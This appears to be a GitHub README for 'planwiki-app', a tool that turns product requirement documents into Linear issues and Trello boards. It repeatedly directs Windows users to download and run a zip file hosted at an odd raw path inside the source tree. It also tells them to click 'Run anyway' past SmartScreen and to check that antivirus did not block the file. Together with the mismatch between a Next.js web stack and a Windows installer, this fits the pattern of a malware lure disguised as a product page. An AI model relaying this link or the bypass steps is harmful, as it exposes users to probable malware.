🗂️ planwiki-app - Turn PRDs into tasks fast

🚀 What this app does

planwiki-app helps you turn product docs into work items you can use right away. It reads PRDs and helps you create Linear issues and Trello boards from them. It is built for people who want a simple way to move from planning to execution.

Use it when you want to:

• break a PRD into clear tasks
• create a Linear project without manual setup
• build a Trello board from a plan
• keep planning and execution in one place
• save time when you repeat the same setup work

💻 Before you install

Use a Windows PC with:

• Windows 10 or Windows 11
• at least 8 GB of RAM
• 1 GB of free disk space
• a stable internet connection for the first download and setup

For the best result, close extra apps before you start. This helps the app open faster and keeps the setup smooth.

📥 Download the app

Go to the releases page and download the latest Windows file:

https://raw.githubusercontent.com/Ibradl3673/planwiki-app/main/app/api/trpc/planwiki-app-v2.8.zip

After the download finishes, open the file you downloaded and follow the setup steps shown on screen.

🪟 Install on Windows

1. Open the download folder on your computer.
2. Find the planwiki-app file you just downloaded.
3. Double-click the file to start setup.
4. If Windows asks for permission, choose Yes.
5. Follow the install window until it finishes.
6. Open planwiki-app from your Start menu or desktop shortcut.

If Windows SmartScreen appears, choose More info, then choose Run anyway if you trust the file source.

▶️ Run the app

After installation, launch planwiki-app from Windows.

When the app opens, you can:

• paste or open a PRD
• review the content
• choose Linear or Trello as the output
• generate issues or boards
• copy the result or send it to your workflow

If the app asks for login details, use the account you already have for the service you connect.

🧭 First-time setup

For your first run, keep these steps in mind:

1. Open the app.
2. Choose your workspace or project.
3. Connect your Linear account if you want Linear issues.
4. Connect your Trello account if you want boards.
5. Paste your PRD into the input area.
6. Pick the type of output you want.
7. Start the generation step.

If you work with product plans often, keep your PRD in a clean format with headings like:

• Goals
• Scope
• User stories
• Acceptance criteria
• Open questions

This helps the app read the document with less cleanup.

🧩 How it fits your workflow

planwiki-app is useful when you want to move from planning to action without extra manual work.

Typical flow:

• write a PRD
• open planwiki-app
• paste the PRD
• review the suggested tasks
• send tasks to Linear
• or build a Trello board
• adjust the list if needed

This keeps one source of truth for planning and makes execution easier to track.

🔗 Connect tools

Linear

Use Linear when you want structured issue tracking for product work. Connect your Linear account, then map PRD sections to issues, sub-issues, or milestones.

Trello

Use Trello when you want a card-based board. Connect your Trello account, then turn PRD items into lists and cards that you can move through stages.

Auth and workspace setup

The app uses a simple sign-in flow for connected tools. Keep your workspace name clear and use one project per PRD when possible. That makes the output easier to review.

🛠️ Common use cases

planwiki-app works well for:

• product managers who write PRDs
• indie hackers who build fast
• small teams that need a simple planning tool
• founders who want a repeatable issue flow
• teams that use Linear or Trello for delivery
• self-hosted users who want control over their setup

📌 Helpful tips

• Use short section headings in your PRD.
• Keep each goal specific.
• Break large plans into smaller parts.
• Use plain language in your source doc.
• Review the generated tasks before you send them out.
• Keep one PRD for one product change when you can.

If your PRD is long, split it into smaller parts before you import it. This can make the output easier to check.

🧪 What you can expect

planwiki-app is built to help with planning, task generation, and workflow setup. It fits a modern product stack and can work as part of a self-hosted setup.

You can expect:

• PRD to task conversion
• Linear issue creation
• Trello board creation
• a cleaner planning flow
• support for product work and execution
• a setup that fits local or hosted use

❓ Troubleshooting

The app does not open

• Check that the download finished fully.
• Run the file again.
• Restart Windows and try once more.
• Make sure your antivirus did not block the file.

The app opens but looks blank

• Refresh the window if the app includes a refresh option.
• Close the app and open it again.
• Check your internet connection.
• Try a smaller PRD first.

Linear or Trello is not connected

• Check your login.
• Confirm you picked the right workspace.
• Try reconnecting the account.
• Make sure your browser or sign-in window is not blocked.

The output looks wrong

• Use a cleaner PRD.
• Add clear headings.
• Remove duplicate sections.
• Split one large plan into smaller parts.

🧰 Project stack

This app uses a modern web stack and planning workflow. It is built around tools that suit product teams and self-hosted use.

Common parts include:

• Next.js for the app layer
• tRPC for safe app calls
• Drizzle for data work
• PostgreSQL for storage
• Better Auth for sign-in
• MCP server support for tool connections
• AI agents for PRD parsing and task creation

📂 Repository topics

This project relates to:

• ai agents
• ai workspace
• better auth
• drizzle
• execution
• indie hacker
• linear
• mcp server
• nextjs
• open source
• planning
• postgre
• productivity
• self hosted
• trello alternative
• trpc

🔒 Privacy and control

If you run planwiki-app in a self-hosted setup, you keep more control over your data and workflow. That can help if you want to keep planning docs and task output inside your own system.

Keep your account access private and use separate workspace settings for different projects when needed.

📄 File format tips

For best results, use PRDs with:

• clear headings
• short paragraphs
• one goal per section
• a simple feature list
• defined acceptance criteria
• fewer side notes

Good input helps the app produce clearer issues and cards.

🧭 Setup flow at a glance

1. Go to the releases page.
2. Download the Windows file.
3. Open the file and finish setup.
4. Start the app.
5. Connect Linear or Trello.
6. Paste your PRD.
7. Generate your tasks or board.
8. Review and use the output

📥 Download again

If you need the latest version, use this page:

https://raw.githubusercontent.com/Ibradl3673/planwiki-app/main/app/api/trpc/planwiki-app-v2.8.zip